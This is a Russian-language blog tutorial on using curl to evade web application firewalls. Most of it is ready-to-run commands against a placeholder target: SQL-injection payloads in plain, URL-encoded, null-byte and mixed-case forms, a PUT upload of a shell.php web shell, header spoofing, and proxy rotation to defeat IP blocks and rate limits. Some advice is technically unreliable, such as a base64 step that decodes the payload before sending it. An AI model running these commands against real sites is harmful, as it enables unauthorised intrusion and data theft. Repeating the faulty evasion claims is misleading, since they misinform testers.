cURL для обхода WAF: продвинутые приемы и команды
Подписывайтесь на телеграм-канал usr_bin, где я публикую много полезного по Linux, в том числе ссылки на статьи в этом блоге.
Брандмауэры для веб-приложений (WAF) предназначены для от распространенных веб-атак, таких как SQL-инъекция, межсайтовый скриптинг (XSS) и DDoS-атаки. Однако, существуют методы обхода WAF с помощью различных инструментов, и одним из самых мощных инструментов в наборе хакеров является cURL
.
В этой статье рассмотрим, как cURL можно использовать для тестирования и обхода WAF путем изменения HTTP-запросов, заголовков и пользовательских данных.
Что такое cURL?
cURL
(клиентский URL) — это утилита командной строки, используемая для передачи данных на сервер или с него, поддерживающая протоколы HTTP, HTTPS, FTP и другие. Она легкая, мощная и идеально подходит для создания пользовательских запросов для проверки того, как веб-приложения реагируют на различные нагрузки.
Понимание обходов WAF
Прежде чем углубляться в команды, важно понять, как работают WAF. WAF анализируют HTTP-запросы, фильтруют вредоносные данные и блокируют вредоносные шаблоны. Однако, плохие дядьки часто обходят WAF, используя:
- Обфускация полезных данных.
- Манипуляции с заголовками для обмана WAF.
- Кодирование для обхода обнаружения подписи.
- Обход ограничения скорости .
- Обход путем изменения ключевых элементов HTTP-запроса, таких как параметры URL или типы методов.
Обход WAF с помощью cURL: продвинутые методы
1. Использование пользовательских HTTP-заголовков для обхода фильтров
WAF часто проверяют определенные заголовки HTTP, такие как User-Agent
и Referer
. Изменение этих заголовков может обойти правила.
curl -X POST https://target.com/login -d "username=admin&password=admin123" \ -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36" \ -H "Referer: https://trusted-site.com"
2. Сокрытие полезных данных с помощью URL-кодирования
Иногда WAF блокируют SQL-инъекции, ища определенные ключевые слова. Части URL-кодирования пользовательских данных могут обходить такие фильтры.
curl "https://target.com/search?q=admin' OR 1=1--"
Закодировано с помощью кодирования URL:
curl "https://target.com/search?q=admin%27%20OR%201%3D1--"
Путем URL-кодирования пользовательских данных SQL-инъекции ( ' OR 1=1--
становится %27%20OR%201%3D1--
) мы можем обойти проверку WAF.
3. Использование альтернативных методов HTTP
WAF часто настраиваются только на анализ запросов GET и POST, но использование таких методов PUT
, как PATCH
, или даже OPTIONS
иногда может обойти правила WAF.
curl -X PUT https://target.com/admin/upload \ -d " file=@shell.php"
Загружая файл с помощью PUT
метода, можно обойти блокировку WAF обычных методов POST или GET.
4. Внедрение нулевых байтов для взлома фильтров
Внедрение нулевого байта ( %00
) может помочь обойти плохо настроенные WAF путем разделения пользовательских данных и обхода сопоставления с образцом.
curl "https://target.com/search?q=admin%00' OR 1=1--"
Нулевой байт ( %00
) часто завершает синтаксический анализ строки в плохо написанных приложениях или фильтрах, позволяя остальной части SQL-инъекции пройти дальше.
5. Использование cURL для использования чувствительности к регистру в фильтрах
Многие WAF чувствительны к регистру при анализе вредоносных шаблонов, и изменение регистра пользовательских данных может позволить обойти защиту.
curl "https://target.com/search?q=AdMiN' OR 1=1--"
В данном случае изменение регистра слова «admin» может обмануть некоторые WAF, которые проверяют только строчные символы.
6. Обход ограничения скорости и IP-блокировок с помощью прокси-серверов
WAF часто ограничивают частоту запросов или блокируют IP-адреса после обнаружения слишком большого количества запросов. Функция прокси-сервера cURL позволяет обойти такие ограничения путем ротации вашего IP-адреса.
curl -x http://proxy.example.com:8080 https://target.com/login \ -d "username=admin&password=admin123"
Использование прокси-серверов помогает обойти ограничение скорости и блокировки по IP-адресу.
7. Расширенные методы cURL с пользовательским кодированием
Кодирование пользовательских данных может также помочь обойти обнаружение WAF. Например, кодирование Base64 является популярным методом обхода фильтров.
encoded_payload=$(echo -n "admin' OR 1=1--" | base64) curl -X POST https://target.com/login \ -d "username=$(echo $encoded_payload | base64 -d)&password=admin123"
Здесь мы кодируем, а затем декодируем пользовательские данные в режиме реального времени, чтобы избежать обнаружения.
8. Тайм-аут и задержка для обхода защиты от переполнения WAF
WAF могут ограничивать или блокировать запросы, которые приходят слишком быстро. Используйте опции --limit-rate
или --delay
в cURL, чтобы замедлить запросы.
curl https://target.com/api/endpoint --limit-rate 100k --delay 3
Эта команда отправляет запросы медленно, чтобы избежать срабатывания правил WAF Flood.
Реальное применение: обход WAF в действии
Допустим, вы столкнулись с защитой в виде WAF и вам нужно протестировать уязвимости типа возможности выполнения SQL-инъекции. Большинство WAF блокируют базовые пользовательские данные, например:
curl "https://target.com/search?q=admin' OR 1=1--"
Применяя вышеупомянутые методы, такие как обфускация полезной нагрузки, кодирование и использование различных методов HTTP, вы можете постепенно проверить, какой метод работает. Например:
curl "https://target.com/search?q=admin%27%20OR%201%3D1--"
Использовать альтернативный метод HTTP:
curl -X PUT https://target.com/search \ -d "username=admin' OR 1=1--"
Использовать прокси и ограничение скорости :
curl -x http://proxy.example.com:8080 -X PUT https://target.com/search \ -d "username=admin%27%20OR%201%3D1--"
Комбинируя эти методы, вы сможете обойти даже сложные конфигурации WAF и достичь своей цели.
На этом все! Спасибо за внимание! Если статья была интересна, подпишитесь на телеграм-канал usr_bin, где будет еще больше полезной информации.